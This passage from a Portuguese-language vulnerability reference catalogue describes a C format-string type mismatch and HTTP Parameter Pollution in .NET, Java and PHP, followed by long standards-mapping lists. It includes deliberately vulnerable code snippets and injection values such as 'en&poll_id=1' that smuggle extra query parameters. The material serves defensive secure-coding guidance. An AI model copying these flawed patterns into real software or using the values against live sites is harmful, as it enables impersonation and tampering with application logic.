[54] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002590 CAT I
[55] Standards Mapping - Web Application Security Consortium Version 2.00 Format String (WASC-06)
[56] Standards Mapping - Web Application Security Consortium 24 + 2 Format String Attack
desc.internal.cpp.format_string_argument_number_mismatch
Abstract
O programa usa uma cadeia de formato indevidamente construída que contém especificadores de conversão não alinhados aos tipos dos argumentos transmitidos para a função. Cadeias de caracteres com formato incorreto podem fazer com que o programa converta valores incorretamente e possivelmente leia ou grave fora dos limites da memória alocada, o que pode introduzir comportamentos impróprios ou travar o programa.
Explanation
O buffer overflow é provavelmente a forma mais conhecida de vulnerabilidade de segurança de software. A maioria dos desenvolvedores de software sabe o que é uma vulnerabilidade de buffer overflow, mas ataques de buffer overflow contra aplicativos legados e recém-desenvolvidos ainda são bastante comuns. Uma parte do problema deve-se à grande variedade de maneiras de como estouros de buffer podem ocorrer, enquanto outra parte deve-se às técnicas propensas a erros frequentemente utilizadas para impedir esses estouros.

Em uma exploração de buffer overflow clássica, o invasor envia dados a um programa, que ele armazena em um buffer de pilha de tamanho menor do que o normal. O resultado é que as informações na pilha de chamadas são substituídas, incluindo o apontador de retorno da função. Os dados definem o valor do apontador de retorno de forma que, quando a função é retornada, ela transfere o controle para o código mal-intencionado contido nos dados do invasor.

Embora esse tipo de buffer overflow de pilha ainda seja comum em algumas plataformas e comunidades de desenvolvimento, há vários outros tipos de buffer overflow, incluindo estouros de buffer de heap e erros "off-by-one", entre outros. Existem diversos livros excelentes que fornecem informações detalhadas sobre como ataques de buffer overflow funcionam, entre eles Building Secure Software [1], Writing Secure Code [2] e The Shellcoder's Handbook [3].

Em nível de código, vulnerabilidades de buffer overflow geralmente envolvem a violação das premissas do programador. Muitas funções de manipulação de memória em C e C++ não realizam verificações de limites e podem facilmente exceder os limites alocados dos buffers sob os quais elas operam. Até mesmo funções limitadas, como strncpy(), podem causar vulnerabilidades quando usadas incorretamente. A combinação entre manipulação de memória e suposições equivocadas sobre o tamanho ou a composição de um determinado dado é a causa raiz da maioria dos estouros de buffer.

Nesse caso, uma cadeia de formato indevidamente construída faz com que o programa converta valores de dados ou acesse valores fora dos limites da memória alocada.

Exemplo: O código a seguir converte incorretamente f de um flutuante usando um especificador de formato %d.


void ArgTypeMismatch(float f, int d, char *s, wchar *ws) {
char buf[1024];
sprintf(buf, "Wrong type of %d", f);
...
}
References
[1] J. Viega, G. McGraw Building Secure Software Addison-Wesley
[2] M. Howard, D. LeBlanc Writing Secure Code, Second Edition Microsoft Press
[3] J. Koziol et al. The Shellcoder's Handbook: Discovering and Exploiting Security Holes John Wiley & Sons
[4] Standards Mapping - CIS Azure Kubernetes Service Benchmark 2.0
[5] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 3.0
[6] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 1
[7] Standards Mapping - CIS Google Kubernetes Engine Benchmark normal
[8] Standards Mapping - Common Weakness Enumeration CWE ID 125, CWE ID 787
[9] Standards Mapping - Common Weakness Enumeration Top 25 2019 [1] CWE ID 119, [5] CWE ID 125, [12] CWE ID 787
[10] Standards Mapping - Common Weakness Enumeration Top 25 2020 [5] CWE ID 119, [4] CWE ID 125, [2] CWE ID 787
[11] Standards Mapping - Common Weakness Enumeration Top 25 2021 [1] CWE ID 787, [3] CWE ID 125, [17] CWE ID 119
[12] Standards Mapping - Common Weakness Enumeration Top 25 2022 [1] CWE ID 787, [5] CWE ID 125, [19] CWE ID 119
[13] Standards Mapping - Common Weakness Enumeration Top 25 2023 [1] CWE ID 787, [7] CWE ID 125, [17] CWE ID 119
[14] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002824
[15] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[16] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C Guidelines 2012 Rule 10.3
[17] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C++ Guidelines 2008 Rule 5-0-3
[18] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-16 Memory Protection (P1)
[19] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-16 Memory Protection
[20] Standards Mapping - OWASP Top 10 2004 A5 Buffer Overflow
[21] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[22] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.5
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.2
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.2
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.2
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.2
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.2
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[31] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection
[34] Standards Mapping - SANS Top 25 2009 Risky Resource Management - CWE ID 119
[35] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3560 CAT I
[36] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3560 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3560 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3560 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3560 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3560 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3560 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002590 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002590 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002590 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002590 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002590 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002590 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002590 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002590 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002590 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002590 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002590 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002590 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002590 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002590 CAT I
[56] Standards Mapping - Web Application Security Consortium Version 2.00 Format String (WASC-06)
[57] Standards Mapping - Web Application Security Consortium 24 + 2 Format String Attack
desc.internal.cpp.format_string_argument_type_mismatch
Abstract
Concatenar entradas não validadas em uma URL pode permitir que um invasor substitua o valor de um parâmetro de solicitação. O invasor pode ser capaz de substituir valores de parâmetros existentes, injetar um novo parâmetro ou explorar variáveis fora de alcance direto.
Explanation
Ataques de HPP (Poluição de Parâmetros HTTP) consistem em injetar delimitadores de cadeia de consulta codificados em outros parâmetros existentes. Se um aplicativo Web não limpar corretamente a entrada do usuário, um usuário mal-intencionado poderá comprometer a lógica do aplicativo para realizar ataques no lado do cliente ou no lado do servidor. Ao enviar parâmetros adicionais para um aplicativo Web e se esses parâmetros tiverem o mesmo nome de um parâmetro existente, esse aplicativo Web pode reagir de uma das seguintes maneiras:

Talvez ele obtenha dados somente do primeiro parâmetro
Talvez ele obtenha dados do último parâmetro
Talvez ele obtenha dados de todos os parâmetros e os concatene


Por exemplo:
- ASP.NET/IIS usa todas as ocorrências dos parâmetros
- Apache Tomcat usa apenas a primeira ocorrência e ignora outras
- mod_perl/Apache converte o valor em uma matriz de valores

Exemplo 1: Dependendo do servidor de aplicativos e da lógica do aplicativo propriamente dito, a seguinte solicitação pode causar confusão para o sistema de autenticação e permitir que um invasor represente outro usuário.
http://www.server.com/login.aspx?name=alice&name=hacker

Exemplo 2: O código a seguir usa a entrada de uma solicitação HTTP para produzir dois hiperlinks.

...
String lang = Request.Form["lang"];
WebClient client = new WebClient();
client.BaseAddress = url;
NameValueCollection myQueryStringCollection = new NameValueCollection();
myQueryStringCollection.Add("q", lang);
client.QueryString = myQueryStringCollection;
Stream data = client.OpenRead(url);
...


URL: http://www.host.com/election.aspx?poll_id=4567
Link1: <a href="http://www.host.com/vote.aspx?poll_id=4567&lang=en">English<a>
Link2: <a href="http://www.host.com/vote.aspx?poll_id=4567&lang=es">Spanish<a>

O programador não considerou a possibilidade de que um invasor pudesse fornecer um lang como en&poll_id=1 e, em seguida, conseguisse alterar poll_id à vontade.
References
[1] HTTP Parameter Pollution Luca Carettoni, Independent Researcher & Stefano Di Paola, MindedSecurity
[2] HTTP Parameter Pollution Vulnerabilities in Web Applications Marco `embyte’ Balduzzi
[3] Standards Mapping - CIS Azure Kubernetes Service Benchmark 4.0
[4] Standards Mapping - CIS Microsoft Azure Foundations Benchmark partial
[5] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 2.0
[6] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 3
[7] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[8] Standards Mapping - Common Weakness Enumeration CWE ID 235
[9] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002754
[10] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[11] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[12] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[13] Standards Mapping - OWASP Top 10 2004 A6 Injection Flaws
[14] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[15] Standards Mapping - OWASP Top 10 2010 A1 Injection
[16] Standards Mapping - OWASP Top 10 2013 A1 Injection
[17] Standards Mapping - OWASP Top 10 2017 A1 Injection
[18] Standards Mapping - OWASP Top 10 2021 A03 Injection
[19] Standards Mapping - OWASP API 2023 API1 Broken Object Level Authorization
[20] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.1.1 Input Validation Requirements (L1 L2 L3), 8.1.3 General Data Protection (L2 L3)
[21] Standards Mapping - OWASP Mobile 2014 M1 Weak Server Side Controls
[22] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[23] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4, MASVS-PLATFORM-2
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.6
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.6
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.6
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.6
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[29] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[30] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[31] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[32] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[33] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[34] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[35] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002560 CAT I
[36] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002560 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002560 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002560 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002560 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002560 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002560 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002560 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002560 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[46] Standards Mapping - Web Application Security Consortium Version 2.00 Improper Input Handling (WASC-20)
desc.dataflow.dotnet.http_parameter_pollution
Abstract
Concatenar entradas não validadas em uma URL pode permitir que um invasor substitua o valor de um parâmetro de solicitação. O invasor pode ser capaz de substituir valores de parâmetros existentes, injetar um novo parâmetro ou explorar variáveis fora de alcance direto.
Explanation
Ataques de HPP (Poluição de Parâmetros HTTP) consistem em injetar delimitadores de cadeia de consulta codificados em outros parâmetros existentes. Se um aplicativo Web não limpar corretamente a entrada do usuário, um usuário mal-intencionado poderá comprometer a lógica do aplicativo para realizar ataques no lado do cliente ou no lado do servidor. Ao enviar parâmetros adicionais para um aplicativo Web e se esses parâmetros tiverem o mesmo nome de um parâmetro existente, esse aplicativo Web pode reagir de uma das seguintes maneiras:

Talvez ele obtenha dados somente do primeiro parâmetro
Talvez ele obtenha dados do último parâmetro
Talvez ele obtenha dados de todos os parâmetros e os concatene


Por exemplo:
- ASP.NET/IIS usa todas as ocorrências dos parâmetros
- Apache Tomcat usa apenas a primeira ocorrência e ignora outras
- mod_perl/Apache converte o valor em uma matriz de valores

Exemplo 1: Dependendo do servidor de aplicativos e da lógica do aplicativo propriamente dito, a seguinte solicitação pode causar confusão para o sistema de autenticação e permitir que um invasor represente outro usuário.
http://www.example.com/login.php?name=alice&name=hacker

Exemplo 2: O código a seguir usa a entrada de uma solicitação HTTP para produzir dois hiperlinks.

...
String lang = request.getParameter("lang");
GetMethod get = new GetMethod("http://www.example.com");
get.setQueryString("lang=" + lang + "&poll_id=" + poll_id);
get.execute();
...


URL: http://www.example.com?poll_id=4567
Link1: <a href="001">Inglês<a>
Link2: <a href="002">Espanhol<a>

O programador não considerou a possibilidade de que um invasor pudesse fornecer um lang como en&poll_id=1 e, em seguida, fosse capaz de alterar poll_id à vontade.
References
[1] HTTP Parameter Pollution Luca Carettoni, Independent Researcher & Stefano Di Paola, MindedSecurity
[2] HTTP Parameter Pollution Vulnerabilities in Web Applications Marco `embyte’ Balduzzi
[3] Standards Mapping - CIS Azure Kubernetes Service Benchmark 4.0
[4] Standards Mapping - CIS Microsoft Azure Foundations Benchmark partial
[5] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 2.0
[6] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 3
[7] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[8] Standards Mapping - Common Weakness Enumeration CWE ID 235
[9] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002754
[10] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[11] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[12] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[13] Standards Mapping - OWASP Top 10 2004 A6 Injection Flaws
[14] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[15] Standards Mapping - OWASP Top 10 2010 A1 Injection
[16] Standards Mapping - OWASP Top 10 2013 A1 Injection
[17] Standards Mapping - OWASP Top 10 2017 A1 Injection
[18] Standards Mapping - OWASP Top 10 2021 A03 Injection
[19] Standards Mapping - OWASP API 2023 API1 Broken Object Level Authorization
[20] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.1.1 Input Validation Requirements (L1 L2 L3), 8.1.3 General Data Protection (L2 L3)
[21] Standards Mapping - OWASP Mobile 2014 M1 Weak Server Side Controls
[22] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[23] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4, MASVS-PLATFORM-2
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.6
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.6
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.6
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.6
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[29] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[30] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[31] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[32] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[33] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[34] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[35] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002560 CAT I
[36] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002560 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002560 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002560 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002560 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002560 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002560 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002560 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002560 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[46] Standards Mapping - Web Application Security Consortium Version 2.00 Improper Input Handling (WASC-20)
desc.dataflow.java.http_parameter_pollution
Abstract
Concatenar entradas não validadas em uma URL pode permitir que um invasor substitua o valor de um parâmetro de solicitação. O invasor pode ser capaz de substituir valores de parâmetros existentes, injetar um novo parâmetro ou explorar variáveis fora de alcance direto.
Explanation
Ataques de HPP (Poluição de Parâmetros HTTP) consistem em injetar delimitadores de cadeia de consulta codificados em outros parâmetros existentes. Se um aplicativo Web não limpar corretamente a entrada do usuário, um usuário mal-intencionado poderá comprometer a lógica do aplicativo para realizar ataques no lado do cliente ou no lado do servidor. Ao enviar parâmetros adicionais para um aplicativo Web e se esses parâmetros tiverem o mesmo nome de um parâmetro existente, esse aplicativo Web pode reagir de uma das seguintes maneiras:

Talvez ele obtenha dados somente do primeiro parâmetro
Talvez ele obtenha dados do último parâmetro
Talvez ele obtenha dados de todos os parâmetros e os concatene


Por exemplo:
- ASP.NET/IIS usa todas as ocorrências dos parâmetros
- Apache Tomcat usa apenas a primeira ocorrência e ignora outras
- mod_perl/Apache converte o valor em uma matriz de valores

Exemplo 1: Dependendo do servidor de aplicativos e da lógica do aplicativo propriamente dito, a seguinte solicitação pode causar confusão para o sistema de autenticação e permitir que um invasor represente outro usuário.
http://www.server.com/login.php?name=alice&name=hacker

Exemplo 2: O código a seguir usa a entrada de uma solicitação HTTP para produzir dois hiperlinks.


<%
...
$id = $_GET["id"];
header("Location: http://www.host.com/election.php?poll_id=" . $id);
...
%>


URL: http://www.host.com/election.php?poll_id=4567
Link1: <a href="vote.php?poll_id=4567&candidate=white">Vote no Sr. White<a>
Link2: <a href="vote.php?poll_id=4567&candidate=green">Vote na Sra. Green<a>

O programador não considerou a possibilidade de que um invasor pode fornecer uma poll_id como "4567&candidate=green" e, em seguida, a página resultante conterá os seguintes links injetados e, portanto, Sra. Green será sempre votada em um servidor de aplicativo que seleciona o primeiro parâmetro.
<a href="vote.php?poll_id=4567&candidate=green&candidate=white">Vote no Sr. White<a>
<a href="vote.php?poll_id=4567&candidate=green&candidate=green">Vote na Sra. Green<a>
References
[1] HTTP Parameter Pollution Luca Carettoni, Independent Researcher & Stefano Di Paola, MindedSecurity
[2] HTTP Parameter Pollution Vulnerabilities in Web Applications Marco `embyte’ Balduzzi
[3] Standards Mapping - CIS Azure Kubernetes Service Benchmark 4.0
[4] Standards Mapping - CIS Microsoft Azure Foundations Benchmark partial
[5] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 2.0
[6] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 3
[7] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[8] Standards Mapping - Common Weakness Enumeration CWE ID 235
[9] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002754
[10] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[11] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[12] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[13] Standards Mapping - OWASP Top 10 2004 A6 Injection Flaws
[14] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[15] Standards Mapping - OWASP Top 10 2010 A1 Injection
[16] Standards Mapping - OWASP Top 10 2013 A1 Injection
[17] Standards Mapping - OWASP Top 10 2017 A1 Injection
[18] Standards Mapping - OWASP Top 10 2021 A03 Injection
[19] Standards Mapping - OWASP API 2023 API1 Broken Object Level Authorization
[20] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.1.1 Input Validation Requirements (L1 L2 L3), 8.1.3 General Data Protection (L2 L3)
[21] Standards Mapping - OWASP Mobile 2014 M1 Weak Server Side Controls
[22] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[23] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4, MASVS-PLATFORM-2
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.6
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.6
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.6
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.6
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[29] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[30] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[31] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[32] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[33] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[34] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[35] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002560 CAT I
[36] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002560 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002560 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002560 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002560 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002560 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002560 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002560 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002560 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[46] Standards Mapping - Web Application Security Consortium Version 2.00 Improper Input Handling (WASC-20)
desc.dataflow.php.http_parameter_pollution
Abstract
Concatenar entradas não validadas em uma URL pode permitir que um invasor substitua o valor de um parâmetro de solicitação. O invasor pode ser capaz de substituir valores de parâmetros existentes, injetar um novo parâmetro ou explorar variáveis fora de alcance direto.
Explanation
Ataques de HPP (Poluição de Parâmetros HTTP) consistem em injetar delimitadores de cadeia de consulta codificados em outros parâmetros existentes. Se um aplicativo Web não limpar corretamente a entrada do usuário, um usuário mal-intencionado poderá comprometer a lógica do aplicativo para realizar ataques no lado do cliente ou no lado do servidor. Ao enviar parâmetros adicionais para um aplicativo Web e se esses parâmetros tiverem o mesmo nome de um parâmetro existente, esse aplicativo Web pode reagir de uma das seguintes maneiras:

Ele pode obter apenas os dados do primeiro parâmetro.
Ele pode obter os dados do último parâmetro.
Ele pode obter os dados de todos os parâmetros e concatená-los.


Por exemplo:
- ASP.NET/IIS usa todas as ocorrências dos parâmetros
- Apache Tomcat usa apenas a primeira ocorrência e ignora outras
- mod_perl/Apache converte o valor em uma matriz de valores

Exemplo 1: Dependendo do servidor do aplicativo e da lógica do próprio aplicativo, esta solicitação pode causar confusão para o sistema de autenticação e permitir a um invasor representar outro usuário.
http://www.server.com/login.php?name=alice&name=hacker

Conforme demonstrado, o invasor já especificou name=alice, mas adicionou name=alice& e, se isso estiver em uso em um servidor que obtém a primeira ocorrência, ele poderá representar alice para obter mais informações sobre a conta dela.
References
[1] HTTP Parameter Pollution Luca Carettoni, Independent Researcher & Stefano Di Paola, MindedSecurity
[2] HTTP Parameter Pollution Vulnerabilities in Web Applications Marco `embyte’ Balduzzi
[3] Standards Mapping - CIS Azure Kubernetes Service Benchmark 4.0
[4] Standards Mapping - CIS Microsoft Azure Foundations Benchmark partial
[5] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 2.0
[6] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 3
[7] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[8] Standards Mapping - Common Weakness Enumeration CWE ID 235
[9] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002754
[10] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[11] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[12] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[13] Standards Mapping - OWASP Top 10 2004 A6 Injection Flaws
[14] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[15] Standards Mapping - OWASP Top 10 2010 A1 Injection
[16] Standards Mapping - OWASP Top 10 2013 A1 Injection
[17] Standards Mapping - OWASP Top 10 2017 A1 Injection
[18] Standards Mapping - OWASP Top 10 2021 A03 Injection
[19] Standards Mapping - OWASP API 2023 API1 Broken Object Level Authorization
[20] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.1.1 Input Validation Requirements (L1 L2 L3), 8.1.3 General Data Protection (L2 L3)
[21] Standards Mapping - OWASP Mobile 2014 M1 Weak Server Side Controls
[22] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[23] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4, MASVS-PLATFORM-2
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.6
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.6
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.6
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.6
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[29] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
